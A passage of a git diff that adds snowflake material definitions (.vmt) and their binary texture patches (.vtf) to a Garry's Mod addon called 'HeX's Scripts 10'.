+1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/11" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vtf new file mode 100644 index 0000000000000000000000000000000000000000..4b9dc4c63e504adb07702517fdb75bf5426a34c9 GIT binary patch literal 5680 zcmeHLdrVVT7(d)1rMwDQRKyMt@EH}w8JN1FnFu<;WyY|~Fa)RQtkr3lS%$^vG-OT+ zZaOE3+05pWC8Bc|6*mwNAu@3i6vfEH2S!jH<h|?^mo7S zeDCv}d%Aj66p|u@9LODMxydugiU}lFx=OgMSWX71J9&6|I+*+J_hEAVTVwJ%-X?@F zCJ%{3vT4oi0E&^D+cmWD?GvNM&9Tr4;h|$p_JO0i7{IkCZcd19;uF9j*;=gvypBuw^|s}2Hw zr>_a#mwOkm1jS?r$9N0+UQoVR|LPN|zkOoJBo%43GvN1L53W0b%3ofXX_BA55(aea z^v>cGk21pQ znsf~4I~sUlal{1cd^3t?78JYDdWq1pDf;-j7NFxz49~a#uyY&6Ek|}<1{_+rUwN09 z0C=>eUUW2{&bQX@;fzAQ$9L&tdyH}#4_s}rBLL>(FL5&#Ykjvx8)jD~{Siq*} z;)#)HeFk7AY)(==yMp>F)@KjbA=&X@vZO%XE0|51&#tBN#y*l))$J4fSrzZG+17r0 z^8cq>^9b>M+41~MNVftU{v}zz z8}ur`BkiwP-}n}T#&o}3=ud-j0Q&-Qma_g_t_$GVcv*8uboP&cea>Rzd!|e}e`X1* zITkAPYv6-XT8=xf;!Z7Ku|5AZR&Hn2Ww$icKIJo#pSl5>k8$hGnjm&b%L$N4+;`dWpW21(ySKM!@b7B7(RULvnogzTr%O1^RkR0vJ&!Kv5^7eSr{WyljJs1yE z1KqWcRo3SV`@@UIL;AsE4VSu(#$zcan^9B}&EFj+_H1zUB^l_$yB)S7N8x*tz8}o% zR#Hh1a6ir0^0QdWwO>#H-y1y1kVhWYeu66ylSqC7?m=;FW%;gjzYj0QdHz}x&G(e^ zMLDIc`Wo=RsJ~tfq`q|zX}x3TjUNWs=g!N*xEDU!1Hg(WIErcmYsoc-&K%jFCJcny_%Nt;rkiL z`K#k=&#{qw9I1fcGoBRVpL~D0nHonWaDx7dCQC6;e?ZQ#qi8*N7pl0cxON-x+w*@Z z$~t5lPsN-8%_UM2Fn@qi=^SHpbU*feMoeqa(|XL%6KwPSO8SN6gBa$&buTZCG=FmO zb%9XCCAK|?uX)JxqDW_1fKc!B{UCip4Pk9svXj1-q%*n3c5Nf$wjRWypnugUaKW*yiBR zW>fq_jo~OJ-5KO7aYoLK7~wqOcZDR6Rnqg0J%8UsWU|fow)B0Rhs!loKInnb0mpbx zk_1zG;Qespw#U4!!v6z!Dse8mgPvE0n+NZGNbzj=K8^YlavC>aL%Ry-s#O^Ky|3dxR^IuFq(cha)`YEk{S?b~~w(@*$vg%XUZT3gA^}rAMy`J*^Vh_Nc?YOf9 zlXf&%KLJhiQf9>q{Z86SNSXvcpyP{toeBG!`dooYim?{xGtnaQe}iy7a;}OR(euw3 zem{tvcoyuz=XiTj0O0Ah1!;FO7t(y8{0h0rcD*+b?GL`Y*%^LEjFeyT)W`>foT4pq zk?K6|RAC$qI4q7NCtpePBhKGQW8aP1+rX8Izm7jbvLXI05%rsqw*L>6!iu;6 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vmt new file mode 100644 index 0000000..ac78e5e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/12" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vtf new file mode 100644 index 0000000000000000000000000000000000000000..02252d354d5584ef102d52b0c5fecb768de56641 GIT binary patch literal 5680 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 JsGqUM<6qO=2U-9C literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vmt new file mode 100644 index 0000000..b8e5f31 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/14" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vtf new file mode 100644 index 0000000000000000000000000000000000000000..897ee9c9ef72d3928645e9001a255a7f57c9cbc4 GIT binary patch literal 5680 zcmeI0eNaH~tzI7FFA*oXP$jDmY zU4-1_96#3xTxz}PttqhsQeXnn*-|=N0xUYtq`Y6|HyzkuP1j3j*%Sc_P5LS|9^Xjq z`b4NN=mYspB6WArznh$aZ}9K$U$e!o6S#(qCj&Rv&j9`pF~7K(&V3))zU};~?e68v zfLpBUX8u`!<4fRMRO%dg-69#V9panTkJs}#v2EpV({z}d$h-XaBFu8$q)bl(lVX7J zqk)3`%lVxLu5>2X#&vz~5T=M8%xmmji4YTApG!@zeVijLxUQ^SQOj5@ZqWJ}_R= zd|+CVL#`0`2z6)n&2+Orzaa9uqUb_AzQ>Ax>ydx181&mFy_a}^LU?^P>8!uDo7W@T z!!ncN4f_A0l7@;8+vD@SX&W*pIDHjn$BwLfvsWC#e3M#79!G)@7=Iqo+GbTxCh!eX z6P4Nd&l2EfL=Q-fAL8+jT170ytjF=-b444yP?$i2eh2mDLisVOA6U|oc*tjU+~0sZ zc!-yAE*bml8lmd`$F6+ruX?oX5>xhZ1L)g)RvOrpW!^uZ^}m%x{I-z3A%wdy74+Lh z=g6Lv-^~LqMs%;VV_hNeS(KJ-{JR{V_iX{c&7(&b0P^9b*)x*17hV9Sb}*ieY)Ale z<57-6$K0n%G$d|tb$%1{o1NCZEeTeWDh6nKF)_+ zdxHdj?@@j(t`9*C%zE#*yu}bdLbnqRmgmhK|MC~C{c_Krj9;$)|C-OCG|>#c2H*F4 zsQR_}YQ+lJk9!M~;^9!(1l(_vFA2%aaRUDSc%CEw8iVWYW9#L9K5GWHg51U6-FhUf zY5@2?rQGux3i<|Ef|O(K>+|04L{2>;5v{STx6XauaUX?s;{8=3j~%yE?fAYo5X%OB zJfm@h^+pa3s+s$h3gG@N*`#uk1p9A(FB4khTd)-5f*gK0-y%Pc2y!H^ln#6b^63q1 zF|o)8&wKw}h@T&+*G9s8FF$4`&rB-7>lZbIC=dH9J^(q=lR|V|aRRv8diLWVs+({= zw8=|w%v|WR2;|p!i1F?9yaQZsf96SVun_lKPI-)j$D{^-kbjAK9Q=zrUID&Kq-7s; z*AT!X)^tJlUa|}LS^Y85eQbV}-{0VUL=k%!>^;0VIG|q}eGoYM_F^{vzQgsj-PWx% zuwo8g-)59o9kkrsFNiqtHV#^|M|hI zSZb@0VD6hMl!lO`FRZVKX!Mp@)(1|1H=cj`DZRFYu8#+M6T0$AZ-rV5{Loe?O%m$y z`L&bDRe?$7_`he`uU?DCJ9nhMF>ldcd_R_TDu~5&9`@e|!RpJW%mw=%ocs1faJqjr zzZlQgXGijOy6SK|@!OIU!WDKiVSL1>zs>#nc>7&k!=8sM3HM`0H|0weYwRzAy^oO3 zMwQBZo*mxl?YB>haXg5F88&~L^Rtnny^1HA^W$*smdvX?UE9Fk!`XUKfDY~l8GDX@WXn+jlCW8-FHWdUE2eiLA*r(nVG*snHkW{dMuy>7@EN3Fv!po)5X_&1LV=`LgkT zZ&P&6;xr-z>^=UZDs)c)gP%{IRK3%xz4rS{An!-rPC@++>^}%k`>GdKvd%8w?*=?M zU~E5YyH*ivS-*q|Q$Ac@4fLswmHOy%iYfU_S+uUt&2 z^8@ZO<&$kBem>#ucRYTf|3d5nCJvw1Fr}8#W&QDBzm^C%Sfbpy2Dpc~dokzHNjb1V z{OO;r9LcAEMQzNhmo@SDe8jyOq3fF)@%^c^`hKPT!@zez|0s#p=SCDsfxA&|K)|sr z*#1LO?o1wZ#rtg~kljnJ*_T1z{ulN~%T;5~i|elmN5k$AVez;=HdxW^(&g#`nBVR} z*6q0>Uj*D^tM@0=8WMOoOf!oX$#A`rb$9Kv^GnNwOz0aGM+=_{Io>a1|S5F0AARld`3zHqrLJ3K2R4*LT&N9d%xGqFFd2g{?Ibmn~fy!ZF4_GXq} z-B|TA`PF%NFnOwC!$dg0M@V!$$tkx4c)}7>zA)F%NKXEG@pZ?ImigjY*Y~Ub*yr8< E0wTdp^8f$< literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vmt new file mode 100644 index 0000000..6f525fa --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/15" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vtf new file mode 100644 index 0000000000000000000000000000000000000000..5b8076ab51b18edfaa6fa9e533dfd090c9481997 GIT binary patch literal 5680 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 YkBiiCTAo)&;{Uz<{nf{l{>ks_|GE^$M*si- literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vmt new file mode 100644 index 0000000..856e8b2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/17" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vtf new file mode 100644 index 0000000000000000000000000000000000000000..8a102889f340c5d82f7ef8f5a256f59e92b222fe GIT binary patch literal 5680 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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vmt new file mode 100644 index 0000000..c6f00f5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/19" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vtf new file mode 100644 index 0000000000000000000000000000000000000000..390853b5bf555102adb68225112ab0323d5a5c25 GIT binary patch literal 5680 zcmd5<3rtg27(RW_Qr6OfiW97$fI8ogt?E!)&=FC5WzK2TS*Q$Or6ikT)UK#g!px-V 